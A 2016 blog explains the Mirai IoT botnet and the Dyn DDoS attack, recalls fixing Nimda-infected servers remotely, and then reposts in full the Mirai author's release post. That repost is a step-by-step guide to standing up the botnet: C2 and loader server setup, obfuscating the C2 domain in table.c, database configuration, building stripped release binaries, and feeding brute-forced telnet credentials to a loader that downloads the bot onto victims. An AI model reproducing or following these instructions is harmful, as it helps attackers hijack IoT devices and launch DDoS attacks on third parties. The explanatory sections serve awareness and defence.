Monday, November 7, 2016

How to fix millions of vulnerable IoT devices used it the Miari DDoS attacks.

How to fix millions of vulnerable IoT devices used it the Miari DDoS attacks.

15 years ago I received the call from my friend Don Jensen. He was the head IT guy for Granite Construction, Heavy Construction division. He had four remote sites infected with the Nimda worm. 

Wikipedia sums it up here:

"Nimda is a file infecting computer worm. It quickly spread, surpassing the economic damage caused by previous outbreaks such as Code Red. Nimda utilized several types of propagation techniques and this caused it to become the Internet’s most widespread virus/worm within 22 minutes.

The worm was released on September 18, 2001. Nimda affected both user workstations (clients) running Windows 95, 98, NT, 2000 or XP and servers running Windows NT and 2000. 

The worm exploited various Microsoft IIS 4.0 / 5.0 directory traversal vulnerabilities. Nimda were hugely successful exploiting well known and long solved vulnerabilities in the Microsoft IIS server."

It was affecting all of the telephone service at the remote sites (Las Vegas, Minneapolis, Dallas, and Tampa). The phone systems were running Cisco Communication Center on top of Windows 2000 server. Microsoft Internet Information Server administration GUI was the admin control console.

What a mess. I was at my home in California, and traveling to each remote site was not possible.

This HAD to repair remotely, so I started to investigate what made Nimda tick, and found a solution. (This advisory from CERT was really helpful.)

I used it against itself. I "hacked" each of the Windows servers using the exact same security hole that made Nimda possible: I opened a browser window, plugged in the IP address of the infected server, and began typing commands, starting with "CMD.EXE".

After the massive DDoS atack in October 2016, I started to think about how to remotely patch the millions of video cameras, DVR's, and doorbells that were being compromised by Mirai and downloaded the source code. I think this just might work, but it may not be legal to remotely patch and upgrade all the IoT devices in the world. 

Monday, October 24, 2016

Mirai botnet takes down major websites with massive DDoS (Distributed Denial of Service) attack.

Mirai botnet takes down major websites with massive DDoS (Distributed Denial of Service) attack.

Last Friday, DNS provider Dyn was hit with the most powerful distributed denial of service (DDoS) attacks ever recorded, which knocked major websites offline for several hours, 

DYN provides services like CloudFlare that Internet companies use for external "cloud" hosting, DNS, load balancing,Traffic Management, and border / gateway malware protection. You can read the DYN blog here:

A DDoS attack is an Distributed DoS attack (DoS is short for denial of service). 

How to shut down major web sites like Twitter, Amazon, Tumblr, Reddit, Spotify and Netflix. 

The DDoS attack on Dyn last Friday was caused by a Mirai botnet made by tens of thousands of Internet of Things (IoT) devices, mainly because of users' failure to change default passwords on low cost IP cameras and routers. In the attack on DYN's site the hackers were able to generate over 600 gigabits per second of network traffic. Analysts have confirmed that the attack was caused by hackers using the compute power of poorly secured IP cameras, home controllers and other IoT devices to flood Dyn’s servers with data. While it has been known for some time that IP cameras are vulnerable, this is the first time we've seen this vulnerability harnessed on such a large scale with three DDoS attacks within a matter of hours, between 60,000 and 600,000 home networks connecting simultaneously formed a massive attack of 600 gigabits per second. This came from DVR's, IP cameras and other devices with the default passwords left in place after the installation. Some of these devices have software or “firmware” updates to fix security vulnerabilities that the vendor discovers. Few hardware makers do a good job of making this process simple and easy for users, or alert customers to the availability of firmware updates.

Once installed, Mirai scans the internet. When it finds targets, it attempts to login using many well-known passwords. Once Mirai finds and infects a new device, it then contacts the hacker controlling these devises. It has now become a botnet under the hacker’s control. 

Will Dormann, senior vulnerability analyst at the CERT Coordination Center (CERT/CC) adds this:

“When it comes to software updates, automatic updates are good,” Dormann said. “Simple updates that notify the user and require intervention are okay. Updates that require the user to dig around to find and install manually are next to worthless.  Devices that don’t have updates at all are completely worthless. And that can be applied to traditional computing as well.  It’s just that with IoT, you likely have less technical users at the helm.”

“Even when users are interested in and looking for this information, the vendor doesn’t always make it easy,”. He said instead of hard-coding credentials or setting default usernames and passwords that many users will never change, hardware makers should require users to pick a strong password when setting up the device.

There’s a list of just over 60 built-in usernames and passwords that the Mirai bot uses to scan for other vulnerable devices. Even this modest password dictionary is enough to find hundreds of thousands of easily-owned devices at a time.

If you own a router, IP camera or other device that has a Web interface and you haven’t yet changed the factory default credentials, you may already be part of an IoT botnet. There is no simple way to tell one way or the other whether it has been compromised. The solution to eliminating the malware infection isn’t difficult. Mirai is loaded into memory, which means it gets wiped once the infected device is disconnected from its power source. 

In September 2016, the hacker responsible for creating Mirai released the source code, effectively letting anyone build their own attack army using Mirai.

Mirai is specifically designed to exploit devices which, although relatively tiny in size and capacity, have enough computing power to send out network requests (TCP/IP packets) to another server, which is what happened here in a highly coordinated fashion.

The Mirai infrastructure is much more complex than the other various botnet variants around. The diagram above outlines the basic functionality of Mirai and its components. 

Bots (B) communicating with the Mirai C2 (C) were found scanning across TCP port 23 and port 2323 as well as performing DDoS attacks against various victims (D). Bots sent one-way traffic towards a report server (R) (, which were the IP addresses and credentials of the vulnerable hosts. This was hypothesized due to the fact that several other IP addresses (L, loaders) would communicate with IP addresses that were previously scanned and later identified as bots. This communication contained bi-directional traffic on port 23, sometimes with large packet sizes, signifying interaction with the telnet service. We observed these same victims accessing a different IP address (M) on port 80 with large packet sizes. This IP address hosted the Mirai binary itself and the large packet sizes were due to the victim downloading the malware. After downloading the binary and finishing interaction with the loader, the victim IP would begin bot activity. Throughout our investigation we identified a long-lived IP connection from a TOR exit node to the report server (R), which we believe may have been the botnet author controlling the botnet.  With the botnet established, it was being sold to various users (U) who used an API hosted on the C2 server (C) to order DDoS attacks.

After downloading and un-zipping the source code, I came across a file called "forumpost.txt" from the author of the Mirai malware. I share it with you here:

[FREE] World's Largest Net:Mirai Botnet, Client, Echo Loader, CNC source code release - Anna-senpai - 09-30-2016 11:50 AM

Greetz everybody,

When I first go in DDoS industry, I wasn't planning on staying in it long. I made my money, there's lots of eyes looking at IOT now, so it's time to GTFO. However, I know every skid and their mama, it's their wet dream to have something besides qbot.

So today, I have an amazing release for you. With Mirai, I usually pull max 380k bots from telnet alone. However, after the Kreb DDoS, ISPs been slowly shutting down and cleaning up their act. Today, max pull is about 300k bots, and dropping.

So, I am your senpai, and I will treat you real nice, my hf-chan.

And to everyone that thought they were doing anything by hitting my CNC, I had good laughs, this bot uses domain for CNC. It takes 60 seconds for all bots to reconnect, lol

Also, shoutout to this blog post by malwaremustdie <- backup="" case="" decides="" edit="" engineer="" his="" in="" lol="" low="" posts="" quality="" reverse="" span="" to="" unixfreaxjp="">
Had a lot of respect for you, thought you were good reverser, but you really just completely and totally failed in reversing this binary. "We still have better kung fu than you kiddos" don't make me laugh please, you made so many mistakes and even confused some different binaries with my. LOL

Let me give you some slaps back -
1) port 48101 is not for back connect, it is for control to prevent multiple instances of bot running together
2) /dev/watchdog and /dev/misc are not for "making the delay", it for preventing system from hanging. This one is low-hanging fruit, so sad that you are extremely dumb
3) You failed and thought FAKE_CNC_ADDR and FAKE_CNC_PORT was real CNC, lol "And doing the backdoor to connect via HTTP on". you got tripped up by signal flow ;) try harder skiddo
4) Your skeleton tool sucks ass, it thought the attack decoder was "sinden style", but it does not even use a text-based protocol? CNC and bot communicate over binary protocol
5) you say 'chroot("/") so predictable like torlus' but you don't understand, some others kill based on cwd. It shows how out-of-the-loop you are with real malware. Go back to skidland

5 slaps for you

Why are you writing reverse engineer tools? You cannot even correctly reverse in the first place. Please learn some skills first before trying to impress others. Your arrogance in declaring how you "beat me" with your dumb kung-fu statement made me laugh so hard while eating my SO had to pat me on the back.

Just as I forever be free, you will be doomed to mediocracy forever.

Bare Minimum
2 servers: 1 for CNC + mysql, 1 for scan receiver, and 1+ for loading

Pro Setup (my setup)
2 VPS and 4 servers
- 1 VPS with extremely bulletproof host for database server
- 1 VPS, rootkitted, for scanReceiver and distributor
- 1 server for CNC (used like 2% CPU with 400k bots)
- 3x 10gbps NForce servers for loading (distributor distributes to 3 servers equally)

Infrastructure Overview
- To establish connection to CNC, bots resolve a domain (resolv.c/resolv.h) and connect to that IP address
- Bots brute telnet using an advanced SYN scanner that is around 80x faster than the one in qbot, and uses almost 20x less resources. When finding bruted result, bot resolves another domain and reports it. This is chained to a separate server to automatically load onto devices as results come in.
- Bruted results are sent by default on port 48101. The utility called scanListen.go in tools is used to receive bruted results (I was getting around 500 bruted results per second at peak). If you build in debug mode, you should see the utitlity scanListen binary appear in debug folder.

Mirai uses a spreading mechanism similar to self-rep, but what I call "real-time-load". Basically, bots brute results, send it to a server listening with scanListen utility, which sends the results to the loader. This loop (brute -> scanListen -> load -> brute) is known as real time loading.

The loader can be configured to use multiple IP address to bypass port exhaustion in linux (there are limited number of ports available, which means that there is not enough variation in tuple to get more than 65k simultaneous outbound connections - in theory, this value lot less). I would have maybe 60k - 70k simultaneous outbound connections (simultaneous loading) spread out across 5 IPs.

Configuring Bot
Bot has several configuration options that are obfuscated in (table.c/table.h). In ./mirai/bot/table.h you can find most descriptions for configuration options. However, in ./mirai/bot/table.c there are a few options you *need* to change to get working.

- TABLE_CNC_DOMAIN - Domain name of CNC to connect to - DDoS avoidance very fun with mirai, people try to hit my CNC but I update it faster than they can find new IPs, lol. Retards :)
- TABLE_CNC_PORT - Port to connect to, its set to 23 already
- TABLE_SCAN_CB_DOMAIN - When finding bruted results, this domain it is reported to
- TABLE_SCAN_CB_PORT - Port to connect to for bruted results, it is set to 48101 already.

In ./mirai/tools you will find something called enc.c - You must compile this to output things to put in the table.c file

Run this inside mirai directory
./ debug telnet
You will get some errors related to cross-compilers not being there if you have not configured them. This is ok, won't affect compiling the enc tool

Now, in the ./mirai/debug folder you should see a compiled binary called enc. For example, to get obfuscated string for domain name for bots to connect to, use this:
./debug/enc string

The output should look like this
XOR'ing 20 bytes of data...

To update the TABLE_CNC_DOMAIN value for example, replace that long hex string with the one provided by enc tool. Also, you see "XOR'ing 20 bytes of data". This value must replace the last argument tas well. So for example, the table.c line originally looks like this

add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); //

Now that we know value from enc tool, we update it like this
add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22​", 20); //

Some values are strings, some are port (uint16 in network order / big endian).

Configuring CNC
apt-get install mysql-server mysql-client
CNC requires database to work. When you install database, go into it and run following commands:

This will create database for you. To add your user,
INSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, '');

Now, go into file ./mirai/cnc/main.go

Edit these values

const DatabaseAddr string   = ""
const DatabaseUser string   = "root"
const DatabasePass string   = "password"
const DatabaseTable string  = "mirai"

To the information for the mysql server you just installed

Setting Up Cross Compilers
Cross compilers are easy, follow the instructions at this link to set up. You must restart your system or reload .bashrc file for these changes to take effect.

Building CNC+Bot
The CNC, bot, and related tools:
[Image: BVc7qJs.png]


How to build bot + CNC
In mirai folder, there is script.

./ debug telnet
Will output debug binaries of bot that will not daemonize and print out info about if it can connect to CNC, etc, status of floods, etc. Compiles to ./mirai/debug folder

./ release telnet
Will output production-ready binaries of bot that are extremely stripped, small (about 60K) that should be loaded onto devices. Compiles all binaries in format: "mirai.$ARCH" to ./mirai/release folder

Building Echo Loader
Loader reads telnet entries from STDIN in following format:
ip:port user:pass
It detects if there is wget or tftp, and tries to download the binary using that. If not, it will echoload a tiny binary (about 1kb) that will suffice as wget. You can find code to compile the tiny downloader stub h ere

You need to edit your main.c for the dlr to include the HTTP server IP. The idea is, if the iot device doesn have tftp or wget, then it will echo load this 2kb binary, which download the real binary, since echo loading really slow.
When you compile, place your dlr.* files into the folder ./bins for the loader

Will build the loader, optimized, production use, no fuss. If you have a file in formats used for loading, you can do this

cat file.txt | ./loader

Remember to ulimit!

Just so it's clear, I'm not providing any kind of 1 on 1 help tutorials or shit, too much time. All scripts and everything are included to set up working botnet in under 1 hours. I am willing to help if you have individual questions (how come CNC not connecting to database, I did this this this blah blah), but not questions like "My bot not connect, fix it"